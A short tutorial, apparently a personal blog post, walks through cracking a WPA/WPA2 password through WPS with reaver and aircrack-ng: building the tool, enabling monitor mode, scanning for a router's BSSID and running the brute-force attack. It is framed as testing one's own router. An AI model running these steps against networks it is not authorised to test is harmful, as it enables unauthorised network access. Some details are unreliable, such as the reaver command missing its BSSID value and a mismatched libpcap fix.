Using reaver to crack WPA/WPA2

i wanted to test my Wireless Router against cracking WPA/WPA2
i found this tool reaver to brute force WPA/WPA2 using wifi Protected Setud (WPS)
the source of the code you can get it from here:
http://code.google.com/p/reaver-wps/

1- download the latest version (for me it was Reaver v1.4)
2- untar and cd to the created folder
3- install the script

./configure

make

sudo make install

if you got problem related to missing libpcap do the following

 sudo apt-get install libsqlite3-dev

4- install aircrack

sudo apt-get install aircrack-ng

5- find your wireless card (in my case it's wlan0)

iwconfig

6- put the wireless interface in monitoring mode

airmon-ng start wlan0

the output will give you the monitor interface name (in my case mon0)

7- Find the BSSID of the router to test

airodump-ng mon0

8- start the test

reaver -i mon0 -b -vv

now you need to wait for some hours until you got the password

you should run this test only on your router and don't try to use it illegally